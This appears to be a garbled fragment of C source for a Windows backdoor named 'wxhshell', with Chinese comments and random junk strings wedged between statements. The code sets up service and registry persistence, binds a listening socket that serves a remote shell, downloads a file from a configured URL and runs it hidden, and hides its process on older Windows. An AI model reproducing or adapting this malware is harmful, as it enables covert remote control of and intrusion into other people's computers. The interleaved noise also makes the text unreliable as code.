unsigned long cbNeeded; Rv98\VD" 85'nXYN{d if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y=r!2u6r~ *R BV'b CloseHandle(hProcess); (B@X[~ )T9;6R$b if(strstr(procName,"services")) return 1; // 以服务启动 bG"HD?A_ d^PD#&"g return 0; // 注册表启动 :4|M
jn } S@x}QQ|. UEzsDJu // 主模块 1!vPc93 $$ int StartWxhshell(LPSTR lpCmdLine) R,%_deV\( { YydA6IK4 SOCKET wsl; 7AFE-'S BOOL val=TRUE; WZq,()h int port=0; 98GlhogWt struct sockaddr_in door; 3?Lgtkb8 *.oKI@ if(wscfg.ws_autoins) Install(); W;4Lkk$ Ejv%,q/T( port=atoi(lpCmdLine); ]bm=LA "f4<B-9<$ if(port<=0) port=wscfg.ws_port; a5|@R<iF NetYg]8` WSADATA data; #b'N}2'p#V if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %,/lqc Fo N>0LQ
MI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k'Gw!p} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -ey)J
+?t door.sin_family = AF_INET; TjxA#D) door.sin_addr.s_addr = inet_addr("127.0.0.1"); L1sqU-gt door.sin_port = htons(port); $/+so;KD } ~| k if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l;OYUq~F closesocket(wsl);
[>f]@> return 1; 6gnbkpYi } &f-hG3/M ND5$bq Nu? if(listen(wsl,2) == INVALID_SOCKET) { &R,9+c closesocket(wsl); 1_uvoFLk return 1; tmO`|tn& } +TH3&H5I_A Wxhshell(wsl); ?Nf
5w WSACleanup(); Hy] VevNG* return 0; Fi4UaJ3K rFey4zzz } pLnB)z? *t(4 $ // 以NT服务方式启动 wO7t!35 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4 /'N|c. { XV>@B $hu DWORD status = 0; :Xfn@>;3ui DWORD specificError = 0xfffffff; }$&xTW_ 6V1:qp/6 serviceStatus.dwServiceType = SERVICE_WIN32; $e
}n serviceStatus.dwCurrentState = SERVICE_START_PENDING; %?9Ok serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z\T Lsx serviceStatus.dwWin32ExitCode = 0; ^z~~VBv serviceStatus.dwServiceSpecificExitCode = 0; +6l]] *H serviceStatus.dwCheckPoint = 0; 9[VxskEh serviceStatus.dwWaitHint = 0; /1d<P! H "UG
K8x hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &J$##B if (hServiceStatusHandle==0) return; e"k/d< OX\$ nQ\o status = GetLastError(); W\8Ln> if (status!=NO_ERROR) T_LLJ}6M { $'{=R 45Z serviceStatus.dwCurrentState = SERVICE_STOPPED; jnJZ#=) serviceStatus.dwCheckPoint = 0; :U'Cor
H serviceStatus.dwWaitHint = 0; e)@3m. serviceStatus.dwWin32ExitCode = status; j+kC-U; serviceStatus.dwServiceSpecificExitCode = specificError; 8md*wEjk SetServiceStatus(hServiceStatusHandle, &serviceStatus); &^!h}D%T/ return; FOH@OY } w<NyV8-hL <??umkV serviceStatus.dwCurrentState = SERVICE_RUNNING; .TpsJXF serviceStatus.dwCheckPoint = 0; M:n 6BC>t" serviceStatus.dwWaitHint = 0; ~Y7dH
Dn if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vn, ><g } 2'|8Q\,:4Z QA?oJ_}y // 处理NT服务事件,比如:启动、停止 [=uIb._Wv VOID WINAPI NTServiceHandler(DWORD fdwControl) eKG2*CV { /Vww?9U; switch(fdwControl) =:=/Gz1 { `s"d]/85VW case SERVICE_CONTROL_STOP: d
~`V7B2Y serviceStatus.dwWin32ExitCode = 0; g`0moXz serviceStatus.dwCurrentState = SERVICE_STOPPED; n lGHT serviceStatus.dwCheckPoint = 0; 3^,QIG serviceStatus.dwWaitHint = 0; iPj~I { ^YlI>_3s SetServiceStatus(hServiceStatusHandle, &serviceStatus); wRvb8F0 } 3@<zg1.9- return; 0N;%2=2_E case SERVICE_CONTROL_PAUSE: -SCM:j%h serviceStatus.dwCurrentState = SERVICE_PAUSED; ~F!,PM/ break; r.yK, case SERVICE_CONTROL_CONTINUE: Z>P*@S,6G serviceStatus.dwCurrentState = SERVICE_RUNNING; $_Nf-:D* break; 4_^[=p/R case SERVICE_CONTROL_INTERROGATE: nh.32q] break; /M=3X|| }; ' cIEc1y SetServiceStatus(hServiceStatusHandle, &serviceStatus); /7"I#U^u/ } [k<1`z3 ezm&]F` // 标准应用程序主函数 n3KI+I%nQ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZZxk]D< { :"1|AJo) ]a'99^?\ // 获取操作系统版本 Um`!% OsIsNt=GetOsVer(); W7sn+g\ GetModuleFileName(NULL,ExeFile,MAX_PATH); [?0d~Q(R# cU.9}-) // 从命令行安装 4hs)b if(strpbrk(lpCmdLine,"iI")) Install(); B?bW1 >jg0s)RA' // 下载执行文件 mtAE if(wscfg.ws_downexe) { ?C-Towo=i if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 78 f$6J q WinExec(wscfg.ws_filenam,SW_HIDE); kz}R[7
} @N@F,~[RR2 3gEMRy*+ if(!OsIsNt) { 9=`W p6Gmn // 如果时win9x,隐藏进程并且设置为注册表启动 bulS&dAX HideProc(); YJeyIYCs< StartWxhshell(lpCmdLine); #5} wuj%5 } O`[aU%4b else W?woNt'n if(StartFromService()) 4rg2y] // 以服务方式启动 Xf[kI StartServiceCtrlDispatcher(DispatchTable); yx38g
ca else zeb=8Dg
: // 普通方式启动 > L2HET StartWxhshell(lpCmdLine); _}xd}QW I:cg}JZ>| return 0; i1lBto[ }
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